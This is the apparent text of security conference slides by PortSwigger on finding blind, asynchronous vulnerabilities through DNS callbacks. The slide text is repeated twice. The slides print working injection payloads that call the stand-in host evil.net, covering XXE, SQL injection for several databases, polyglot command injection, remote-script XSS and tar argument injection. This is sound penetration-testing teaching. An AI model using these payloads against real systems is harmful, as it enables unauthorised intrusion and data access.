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HUNTING	
  
ASYNCHRONOUS
VULNERABILITIES	
  
James	
   Kettle
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
From: no-­‐reply@redacted.com
To: James	
  Kettle
Subject: Order:	
  103092185
Hi	
  test,
Thank	
  you	
  for	
  your	
  recent	
  order…
Description Quantity Price VAT Total
Leather	
  Jacket 1 £824.33 £164.87 £989.20
THE	
  CLASSICAL	
  CALLBACK
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
OVERVIEW
•The	
  asynchronous	
  problem
•Callback oriented	
  hacking
• Direct	
  -­‐ XML/SQL
• Chained	
  -­‐ SQL
• Destructive	
  -­‐ SQL
• Polyglot	
  -­‐ OS/XSS
• Interactive
• Hazards
• Q&A
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
THE	
  ASYNCHRONOUS	
  PROBLEM
•Many	
  asynchronous	
  vulnerabilities	
  are	
  invisible
Visible	
  errors
Result	
  output
Time	
  side-­‐channel
✘
✘
✘
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
•Blind	
  +	
  background	
  thread
•Nightly	
  cronjob
•Blind	
  +	
  event-­‐triggered
•Second	
  order	
  SQLi,	
  command	
  injection…
•Blind	
  XSS
•Blind	
  +	
  no	
  time	
  delay
•Blind	
  XXE,	
  XPath…
THE	
  ASYNCHRONOUS	
  PROBLEM
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
THE	
  ASYNCHRONOUS	
  SOLUTION
•Callbacks!
•Why	
  DNS?
• Rarely	
  filtered	
  outbound
• Underpins	
  most	
  network	
  protocols
PAYLOAD	
  DEVELOPMENT
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
THE	
  INDOMITABLE	
  PAYLOAD
•Callback	
  exploits	
  fail	
  hard
•Quality	
  of	
  Payload	
  is	
  crucial
•Environment-­‐insensitive
•Multi	
  context	
  (aka	
  “polyglot”)
•Filter-­‐resistant
•Simple.
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SMTP	
  HEADER	
  INJECTION
foo%0ABCC:	
  hacker@evil.net
Website
Attacker
User
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SMTP	
  HEADER	
  INJECTION
%0AReply-­‐To:	
  hacker@evil.net%0A%0A<zip_bomb>
Website
Attacker
User
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
<!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
<!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
%remote;
]>
<root>
<foo>&xxe;</foo>
<x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
href="http://xi.evil.net/" ></x>
<y xmlns=http://a.b/
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://a.b/
http://schemalocation.evil.net/a.xsd">a</y>
</root>
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SQLi:	
  POSTGRES
copy (select '') to program 'nslookup evil.net'
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SQLi:	
  SQLITE3
• ;attach database '//evil.net/z' as 'z'-- -
• Windows	
  only
• Requires	
  batched	
  queries
• Can	
  also	
  be	
  used	
  to	
  create	
  files
• (SELECT load_extension('//foo'))
• Windows	
  only
• Frequently	
  disabled
• By	
  @0x7674
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SQLi:	
  MSSQL
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a',
'select 1 from dual');
• Requires	
  'ad	
  hoc	
  distributed	
  queries'
EXEC master.dbo.xp_fileexist 'evil.netfoo'
• Requires	
  sysadmin privs
BULK INSERT mytable FROM 'evil.net$file';
• Requires	
  bulk	
  insert	
  privs
EXEC master.dbo.xp_dirtree 'evil.netfoo'
• Checks	
  privileges	
  after DNS	
  lookup
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SQLi:	
  ORACLE
• UTL_HTTP,	
  UTL_TCP,	
  UTL_SMTP,	
  UTL_INADDR,	
  UTL_FILE…
• Require	
  assorted	
  privileges
• SELECT  extractvalue(xmltype('<?xml   version="1.0"  
encoding="UTF-­‐8"?><!DOCTYPE   root  [  <!ENTITY  %    remote  SYSTEM  
"http://evil.net/">   %remote;]>'),'/l')
• From	
  https://bog.netspi.com/advisory-­‐xxe-­‐injection-­‐oracle-­‐database-­‐cve-­‐2014-­‐
6577/
• No	
  privileges	
  required!
• Patched	
  eventually
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
SQLi:	
  MySQL
• LOAD_FILE('evil.netfoo')	
  
• Windows	
  only
• SELECT	
  …	
  INTO	
  OUTFILE	
  'evil.netfoo'
• Windows	
  only
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
WRITE-­‐BASED	
  CALLBACKS
• Drop	
  web	
  shell
• Requires	
  path
• Risky
• Maildrop
• Microsoft	
  Outlook	
  only
• Printer	
  spool
• Requires	
  employee	
  credulity
• Requires	
  root
• Bypasses	
  outbound	
  network	
  filtering
• Config files?
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
CONFIG
File Name
/etc/my.cnf
/etc/mysql/my.cnf
SYSCONFDIR/my.cnf
$MYSQL_HOME/my.cnf
~/.my.cnf
Command-
Line Format
--bind-address=addr
Permitted
Values
Type string
Default 0.0.0.0
“If addr is a host name, the server resolves the name
to an IPv4 address and binds to that address.”
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
ASYNCHRONOUS	
  COMMAND	
  INJECTION
•Bash:
$  command  arg1  input arg3
$  command  arg1  'input' arg3
$  command  arg1  "input" arg3
•Windows:
>command  arg1  input arg3
>command  arg1  "input" arg3
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  COMMAND	
  INJECTION
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  COMMAND	
  INJECTION
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  COMMAND	
  INJECTION
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  COMMAND	
  INJECTION
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
&nslookup evil.net&'"`0&nslookup evil.net&`'
bash : &nslookup evil.net&'"`0&nslookup evil.net&`'
bash ": &nslookup evil.net&'"`0&nslookup evil.net&`'
bash ': &nslookup evil.net&'"`0&nslookup evil.net&`'
win : &nslookup evil.net&'"`0&nslookup evil.net&`'
win ": &nslookup evil.net&'"`0&nslookup evil.net&`'
Key:	
  ignored context-­‐breakoutdud-­‐statement	
  injected-­‐command ignored
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  XSS
• “One	
  vector	
  to	
  rule	
  them	
  all”	
  by	
  @garethheyes
javascript:/*--
>]]>%>?></script></title></textarea></noscript></style></xmp>">
[img=1,name=/alert(1)/.source]<img -
/style=a:expression&#40&#47&#42'/-
/*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;p
osition:absolute;-ms-behavior:url(#default#time2) name=alert(1)
onerror=eval(name) src=1 autofocus onfocus=eval(name)
onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)
background=javascript:eval(name)//>"
•Problems:
• Length
• Fragile
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
POLYGLOT	
  XSS
</script><svg/onload=
'+/"/+/onmouseover=1/
+(s=document.createElement(/script/.source),
s.stack=Error().stack,
s.src=(/,/+/evil.net/).slice(2),
document.documentElement.appendChild(s))//'>
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
BLIND	
  XSS
• Sleepy	
  Puppy
• Allows	
  custom	
  script+payload injection
• Webserver	
  in	
  docker container
• https://github.com/Netflix/sleepy-­‐puppy
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
PROOF	
  OF	
  EXPLOIT
Scenario:	
  you	
  can	
  upload	
  [anything].jpg
Hypothesis:	
  images	
  archived	
  with	
  'tar  [options]  *'
The	
  exploit:
-­‐-­‐use-­‐compress-­‐program=nslookup evil.net -­‐domain=a.jpg
Variants	
  exist	
  for	
  targeting	
  zip,	
  rsync,	
  etc
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
---LIVE DEMO---
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
HAZARDS
•Friendly	
  fire
•URL	
  grepping
•Scope
©PortSwigger	
   Ltd	
  2015	
  All	
  Rights	
  Reserved
TAKE-­‐AWAYS
Asynchronous	
  exploits	
  fail	
  silently
Quality	
  of	
  Payload	
  is	
  crucial
Invisible	
  ⇏ unhackable
@albinowax
james.kettle@portswigger.net
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44CON London 2015 - Hunting Asynchronous Vulnerabilities

  • 2. ©PortSwigger   Ltd  2015  All  Rights  Reserved From: no-­‐[email protected] To: James  Kettle Subject: Order:  103092185 Hi  test, Thank  you  for  your  recent  order… Description Quantity Price VAT Total Leather  Jacket 1 £824.33 £164.87 £989.20 THE  CLASSICAL  CALLBACK
  • 3. ©PortSwigger   Ltd  2015  All  Rights  Reserved OVERVIEW •The  asynchronous  problem •Callback oriented  hacking • Direct  -­‐ XML/SQL • Chained  -­‐ SQL • Destructive  -­‐ SQL • Polyglot  -­‐ OS/XSS • Interactive • Hazards • Q&A
  • 4. ©PortSwigger   Ltd  2015  All  Rights  Reserved THE  ASYNCHRONOUS  PROBLEM •Many  asynchronous  vulnerabilities  are  invisible Visible  errors Result  output Time  side-­‐channel ✘ ✘ ✘
  • 5. ©PortSwigger   Ltd  2015  All  Rights  Reserved •Blind  +  background  thread •Nightly  cronjob •Blind  +  event-­‐triggered •Second  order  SQLi,  command  injection… •Blind  XSS •Blind  +  no  time  delay •Blind  XXE,  XPath… THE  ASYNCHRONOUS  PROBLEM
  • 6. ©PortSwigger   Ltd  2015  All  Rights  Reserved THE  ASYNCHRONOUS  SOLUTION •Callbacks! •Why  DNS? • Rarely  filtered  outbound • Underpins  most  network  protocols
  • 8. ©PortSwigger   Ltd  2015  All  Rights  Reserved THE  INDOMITABLE  PAYLOAD •Callback  exploits  fail  hard •Quality  of  Payload  is  crucial •Environment-­‐insensitive •Multi  context  (aka  “polyglot”) •Filter-­‐resistant •Simple.
  • 9. ©PortSwigger   Ltd  2015  All  Rights  Reserved SMTP  HEADER  INJECTION foo%0ABCC:  [email protected] Website Attacker User
  • 10. ©PortSwigger   Ltd  2015  All  Rights  Reserved SMTP  HEADER  INJECTION %0AReply-­‐To:  [email protected]%0A%0A<zip_bomb> Website Attacker User
  • 11. ©PortSwigger   Ltd  2015  All  Rights  Reserved <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://xi.evil.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://schemalocation.evil.net/a.xsd">a</y> </root>
  • 12. ©PortSwigger   Ltd  2015  All  Rights  Reserved SQLi:  POSTGRES copy (select '') to program 'nslookup evil.net'
  • 13. ©PortSwigger   Ltd  2015  All  Rights  Reserved SQLi:  SQLITE3 • ;attach database '//evil.net/z' as 'z'-- - • Windows  only • Requires  batched  queries • Can  also  be  used  to  create  files • (SELECT load_extension('//foo')) • Windows  only • Frequently  disabled • By  @0x7674
  • 14. ©PortSwigger   Ltd  2015  All  Rights  Reserved SQLi:  MSSQL SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual'); • Requires  'ad  hoc  distributed  queries' EXEC master.dbo.xp_fileexist 'evil.netfoo' • Requires  sysadmin privs BULK INSERT mytable FROM 'evil.net$file'; • Requires  bulk  insert  privs EXEC master.dbo.xp_dirtree 'evil.netfoo' • Checks  privileges  after DNS  lookup
  • 15. ©PortSwigger   Ltd  2015  All  Rights  Reserved SQLi:  ORACLE • UTL_HTTP,  UTL_TCP,  UTL_SMTP,  UTL_INADDR,  UTL_FILE… • Require  assorted  privileges • SELECT  extractvalue(xmltype('<?xml   version="1.0"   encoding="UTF-­‐8"?><!DOCTYPE   root  [  <!ENTITY  %    remote  SYSTEM   "http://evil.net/">   %remote;]>'),'/l') • From  https://bog.netspi.com/advisory-­‐xxe-­‐injection-­‐oracle-­‐database-­‐cve-­‐2014-­‐ 6577/ • No  privileges  required! • Patched  eventually
  • 16. ©PortSwigger   Ltd  2015  All  Rights  Reserved SQLi:  MySQL • LOAD_FILE('evil.netfoo')   • Windows  only • SELECT  …  INTO  OUTFILE  'evil.netfoo' • Windows  only
  • 17. ©PortSwigger   Ltd  2015  All  Rights  Reserved WRITE-­‐BASED  CALLBACKS • Drop  web  shell • Requires  path • Risky • Maildrop • Microsoft  Outlook  only • Printer  spool • Requires  employee  credulity • Requires  root • Bypasses  outbound  network  filtering • Config files?
  • 18. ©PortSwigger   Ltd  2015  All  Rights  Reserved CONFIG File Name /etc/my.cnf /etc/mysql/my.cnf SYSCONFDIR/my.cnf $MYSQL_HOME/my.cnf ~/.my.cnf Command- Line Format --bind-address=addr Permitted Values Type string Default 0.0.0.0 “If addr is a host name, the server resolves the name to an IPv4 address and binds to that address.”
  • 19. ©PortSwigger   Ltd  2015  All  Rights  Reserved ASYNCHRONOUS  COMMAND  INJECTION •Bash: $  command  arg1  input arg3 $  command  arg1  'input' arg3 $  command  arg1  "input" arg3 •Windows: >command  arg1  input arg3 >command  arg1  "input" arg3
  • 20. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  COMMAND  INJECTION
  • 21. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  COMMAND  INJECTION
  • 22. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  COMMAND  INJECTION
  • 23. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  COMMAND  INJECTION
  • 24. ©PortSwigger   Ltd  2015  All  Rights  Reserved &nslookup evil.net&'"`0&nslookup evil.net&`' bash : &nslookup evil.net&'"`0&nslookup evil.net&`' bash ": &nslookup evil.net&'"`0&nslookup evil.net&`' bash ': &nslookup evil.net&'"`0&nslookup evil.net&`' win : &nslookup evil.net&'"`0&nslookup evil.net&`' win ": &nslookup evil.net&'"`0&nslookup evil.net&`' Key:  ignored context-­‐breakoutdud-­‐statement  injected-­‐command ignored
  • 25. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  XSS • “One  vector  to  rule  them  all”  by  @garethheyes javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>"> [img=1,name=/alert(1)/.source]<img - /style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;p osition:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>" •Problems: • Length • Fragile
  • 26. ©PortSwigger   Ltd  2015  All  Rights  Reserved POLYGLOT  XSS </script><svg/onload= '+/"/+/onmouseover=1/ +(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/evil.net/).slice(2), document.documentElement.appendChild(s))//'>
  • 27. ©PortSwigger   Ltd  2015  All  Rights  Reserved BLIND  XSS • Sleepy  Puppy • Allows  custom  script+payload injection • Webserver  in  docker container • https://github.com/Netflix/sleepy-­‐puppy
  • 28. ©PortSwigger   Ltd  2015  All  Rights  Reserved PROOF  OF  EXPLOIT Scenario:  you  can  upload  [anything].jpg Hypothesis:  images  archived  with  'tar  [options]  *' The  exploit: -­‐-­‐use-­‐compress-­‐program=nslookup evil.net -­‐domain=a.jpg Variants  exist  for  targeting  zip,  rsync,  etc
  • 29. ©PortSwigger   Ltd  2015  All  Rights  Reserved ---LIVE DEMO---
  • 30. ©PortSwigger   Ltd  2015  All  Rights  Reserved HAZARDS •Friendly  fire •URL  grepping •Scope
  • 31. ©PortSwigger   Ltd  2015  All  Rights  Reserved TAKE-­‐AWAYS Asynchronous  exploits  fail  silently Quality  of  Payload  is  crucial Invisible  ⇏ unhackable @albinowax [email protected]